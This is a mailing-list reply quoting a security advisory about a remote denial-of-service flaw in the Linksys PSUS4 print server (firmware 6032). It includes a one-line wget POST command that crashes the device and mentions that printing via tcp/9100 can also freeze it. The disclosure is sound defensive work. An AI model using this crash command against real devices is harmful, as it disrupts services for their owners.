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Re: [ RSTACK Public Security Advisory ] Remote DOS against Linksys PSUS4



laurent oudot wrote:

Background
==========

PSUS4 is one of the small embedded Linksys wired print servers.

Affected products
=================

Model Name: PSUS4 (not tested against others)
Firmware Version: 6032 (not tested against others)

Description
===========

Here is an example, to crash a remote PSUS4 :

$ wget --post-data="Br1Ce2N1c3" http://192.168.1.2/
[...]
=> And the PSUS4 is crashed.

Well, if you want a more complicated way, just try to print a page through the SMP (tcp/9100) - it will occasionally freeze the print server as well.

The firmware seems not to be very mature, I'd bet that we could expect more serious vulnerabilities from it.

Denis